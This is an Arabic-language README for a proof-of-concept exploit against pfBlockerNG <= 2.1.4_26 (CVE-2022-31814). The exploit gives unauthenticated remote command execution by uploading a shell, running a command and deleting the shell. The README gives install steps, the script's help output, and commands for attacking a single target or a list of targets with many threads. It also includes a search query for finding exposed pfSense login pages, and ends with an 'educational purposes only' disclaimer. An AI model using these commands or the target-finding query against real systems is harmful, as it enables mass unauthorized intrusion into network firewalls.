
pfBlockerNG <= 2.1.4_26 تنفيذ تعليمات برمجية عن بُعد بدون مصادقة (CVE-2022-31814)
هذا السكربت هو استغلال (proof-of-concept) لـ pfBlockerNG <= 2.1.4_26 يتيح تنفيذ الأوامر عن بُعد. يأخذ عنوان URL واحد أو قائمة من عناوين URL، يرفع شيل (shell)، ينفذ أمرًا، ثم يحذف الشيل.
يتطلب هذا السكربت تثبيت Python 3.x ووحدتي requests و concurrent.futures. يمكنك تثبيت هذه الوحدات عن طريق تشغيل:
pip3 install requests concurrent.futures
أو
pip3 install -r requirements.txt
usage: exploit.py [-h] [-c COMMAND] [-l LIST] [-i IP] [-t THREADS] [-o OUTPUT]
pfBlockerNG <= 2.1.4_26 Unauth RCE
options:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
Console Command ('id')
-l LIST, --list LIST List of targets (list.txt)
-i IP, --ip IP Base target uri (ex. http://target-uri/)
-t THREADS, --threads THREADS
Number of threads for mass scan
-o OUTPUT, --output OUTPUT
Output file (vuln.txt)
لاستغلال هدف واحد، استخدم الخيار -i أو --ip وحدد عنوان URL الأساسي أو عنوان IP:
python3 exploit.py -i http://target-uri/ -c 'id'
لفحص قائمة من الأهداف، استخدم الخيار -l أو --list وحدد مسار القائمة:
python3 exploit.py -l list.txt -c 'id' -t 50
يمكن استخدام الخيار -t أو --threads لتحديد عدد الخيوط المستخدمة في الفحص.
إذا تم تحديد الخيار -o أو --output، فسيتم كتابة قائمة الأهداف المتأثرة إلى ملف:
python3 exploit.py -l list.txt -c 'id' -o vuln.txt
http.title:"pfSense - Login" "Server: nginx" "Set-Cookie: PHPSESSID="
هذا السكربت مخصص للأغراض التعليمية فقط. استخدمه على مسؤوليتك الخاصة.